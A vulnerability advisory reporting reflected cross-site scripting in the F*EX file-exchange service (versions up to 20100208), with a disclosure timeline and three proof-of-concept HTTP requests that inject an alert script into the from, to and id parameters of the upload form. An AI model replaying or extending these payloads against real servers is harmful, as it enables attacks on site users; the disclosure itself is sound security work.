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F*EX <= 20100208 Cross Site Scripting Vulnerabilities



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F*EX <= 20100208 Cross Site Scripting Vulnerabilities
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title.............: F*EX <= 20100208 Cross Site Scripting Vulnerabilities
author............: muuratsalo
contact...........: muuratsalo[at]gmail[dot]com
download..........: http://fex.rus.uni-stuttgart.de/fex.html
tested on.........: Debian 6.0.4 (squeeze) - package
fex_20100208+debian1-1+squeeze1_all.deb


========================================================================

muuratsalo | muuratsalo experimental hack lab is a proud member of the
Revshell.com community

========================================================================

[0x01] Software overview

F*EX (Frams's Fast File EXchange) is a service (GPL software) that can be
used to allow users anywhere on the Internet to exchange files of ANY size
quickly and conveniently. The sender uploads the file to the F*EX-server
and the recipient automatically gets a notification e-mail with a
download-URL. The sender must be a registered user in opposite to the
recipient.

========================================================================

[0x02] Vulnerabilities overview

F*EX <= 20100208 suffers from multiple Cross Site Scripting attacks
(Reflected) in the WWW upload form.

========================================================================

[0x03] Disclosure timeline

[2012-02-01] - Multiple vulnerabilities discovered and reported to the
author of the software.
[2012-02-02] - The author confirmed the vulnerabilities and applied
the suggested fixes.
[2012-02-03] - Further analysis requested.
[2012-02-13] - Very minor security hints applied.
[2012-02-15] - F*EX major update - 20120215
[2012-02-20] - Public disclosure

========================================================================

[0x04] Vulnerabilities

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*** Cross Site Scripting (Reflected) -- http://localhost:8888/fup
[from parameter] ***

POST /fup HTTP/1.1
Host: 192.168.1.3:8888
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://192.168.1.3:8888/fup
Content-Type: multipart/form-data; boundary=--------1922591683
Content-Length: 233

----------1922591683
Content-Disposition: form-data; name="id"


----------1922591683
Content-Disposition: form-data; name="to"


----------1922591683
Content-Disposition: form-data; name="from"

38c66<script>alert(1)</script>b08f61c45c6
----------1922591683--

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*** Cross Site Scripting (Reflected) -- http://localhost:8888/fup [to
parameter] ***

POST /fup HTTP/1.1
Host: 192.168.1.3:8888
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://192.168.1.3:8888/fup
Content-Type: multipart/form-data; boundary=--------1922591683
Content-Length: 233

----------1922591683
Content-Disposition: form-data; name="id"


----------1922591683
Content-Disposition: form-data; name="to"

38c66<script>alert(1)</script>b08f61c45c6

----------1922591683
Content-Disposition: form-data; name="from"

----------1922591683--

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*** Cross Site Scripting (Reflected) -- http://localhost:8888/fup [id
parameter] ***

GET /fup?id=38c66"><script>alert(1)</script>b08f61c45c6&to=%0d&from=%0d HTTP/1.1

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